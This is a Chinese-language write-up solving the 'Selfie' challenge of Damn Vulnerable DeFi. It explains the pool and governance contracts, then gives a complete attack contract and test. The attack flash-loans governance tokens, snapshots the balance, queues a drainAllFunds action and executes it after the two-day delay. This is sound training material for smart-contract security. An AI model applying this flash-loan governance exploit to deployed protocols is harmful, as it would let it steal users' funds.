跳到主要内容

selfie

题目链接:https://www.damnvulnerabledefi.xyz/challenges/6.html

题目描述:

有一个借贷池提供 DVT token 的闪电贷功能,DVT token 用来作为治理代币为 governance 合约提供治理功能。现在借贷池中有 150 万个 token, 你的目标是将这些 token 全部取出。

本题有三个智能合约:

  • DamnValuableTokenSnapshot 具有 snapshot 功能的 token 合约
  • SelfiePool 借贷池合约
  • SimpleGovernance 治理合约

首先看下借贷池合约的源码

SelfiePool.sol
contract SelfiePool is ReentrancyGuard {
using Address for address;
// token 合约
ERC20Snapshot public token;
// governance 合约
SimpleGovernance public governance;

event FundsDrained(address indexed receiver, uint256 amount);

// 确保函数的执行者是 governance 合约
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}

// 构造函数: 创建 token 和 governance 实例
constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}

// 闪电贷函数
function flashLoan(uint256 borrowAmount) external nonReentrant {
// 确保余额充足
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// 将 borrowAmount 数量的 token 转给 msg.sender
token.transfer(msg.sender, borrowAmount);

// 确保 msg.sender 是合约地址
require(msg.sender.isContract(), "Sender must be a deployed contract");

// 调用 msg.sender 的 receiveTokens 方法
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);

// 确保已返还借出的token
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

// 提取该合约中的全部token, 并且只能由 governance 调用
function drainAllFunds(address receiver) external onlyGovernance {
// 获取余额
uint256 amount = token.balanceOf(address(this));
// 将 token 转给 receiver
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}
}

该借贷池合约提供了两个方法

  • flashLoan 闪电贷方法,并且会回调调用者的 receiveTokens 方法
  • drainAllFunds 取出所有的 token, 并且该方法的调用者必须是治理合约

接着再看下治理合约的源码

SimpleGovernance.sol
contract SimpleGovernance {
using Address for address;

struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
// 治理 token
DamnValuableTokenSnapshot public governanceToken;
// 存储所有 action 的 mapping
mapping(uint256 => GovernanceAction) public actions;
// action 计数
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);

// 构造函数, 传入治理 token 地址
constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}

// 创建一个 action
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
// 确保有足够的投票
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
// 确保 reveiver 不是该合约
require(receiver != address(this), "Cannot queue actions that affect Governance");

// 将 action 保存到 actions 中
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;

actionCounter++;

emit ActionQueued(actionId, msg.sender);

// 返回 actionId
return actionId;
}

// 执行创建的 action
function executeAction(uint256 actionId) external payable {
// 创建的 action 是否可以被执行
require(_canBeExecuted(actionId), "Cannot execute this action");

// 取出当前最新的待执行的 action
GovernanceAction storage actionToExecute = actions[actionId];
// 设置执行时间为当前时间
actionToExecute.executedAt = block.timestamp;

// 执行 action.reveiver 的 data
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);

emit ActionExecuted(actionId, msg.sender);
}

function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}

// 判断一个 action 是否可以被执行
// 1. 从来没有执行过
// 2. 创建时间超过 2 days
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}

// 判断是否有足够的投票
// 拥有的 governanceToken 数量大于总量的一半
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}

治理合约核心就两个方法

  • queueAction 创建 action 并保存相关的数据
  • executeAction 执行创建的action,本质就是执行 action.receivedata

现在回过头来,看下我们的最终目标:取光借贷池中的所有 token。只能通过调用方法 drainAllFunds 来达到目的,但该方法又只能由治理合约调用。似乎已经走入死路了,但别忘记了,治理合约中的 executeAction 方法内部会去执行 action.receivedata。如果 receive 是借贷池合约,datadrainAllFunds 方法,似乎是可行的。但前提是需要创建 action, 但创建 action的前提是拥有至少一半的治理 token。此时就可以通过闪电贷来达到拥有token的目的。

最终,我们的攻击步骤如下:

  1. 通过闪电贷借出池子中的全部 token
  2. 在回调方法中,构造 drainAllFundsdata,调用治理合约的 queueAction 创建 action
  3. 返还 token
  4. 两天后,执行治理合约的 executeAction 方法,将代币转移给攻击者。

攻击合约如下

SelfieAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";

contract SelfieAttack {

SelfiePool public pool;
SimpleGovernance public governance;

address public attacker;
uint public actionId;

constructor (address _pool, address _governance) {
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
attacker = msg.sender;
}

function attack(uint amount) public {
pool.flashLoan(amount);
}

function receiveTokens(address _token, uint _amount) public {
// 构造data
bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", attacker);
// 执行快照
DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
token.snapshot();
// 创建 action
actionId = governance.queueAction(address(pool), data, 0);
// 返还token
token.transfer(address(pool), _amount);
}
}

调用 queueAction 后创建的 action 如下

{
receiver: 借贷池合约,
data: drainAllFunds(attacker)
...
}

两天后,执行治理合约的 executeAction 方法时,会调用 receiverdata, 也就是调用 借贷池合约的 drainAllFunds, 参数是 attacker

// receiver 地址是 attacker
function drainAllFunds(address receiver) external onlyGovernance {
// 获取余额
uint256 amount = token.balanceOf(address(this));
// 将 token 转给 receiver
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}

最后在单元测试文件 selfie.challenge.js中编写执行代码

it('Exploit', async function () {
const SelfieAttackFactory = await ethers.getContractFactory(
'SelfieAttack',
attacker
)
const selfieAttack = await SelfieAttackFactory.deploy(
this.pool.address,
this.governance.address
)
await selfieAttack.attack(TOKENS_IN_POOL)

await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
const actionId = await selfieAttack.actionId()
this.governance.executeAction(actionId)
})

执行 yarn selfie, 测试通过!

完整代码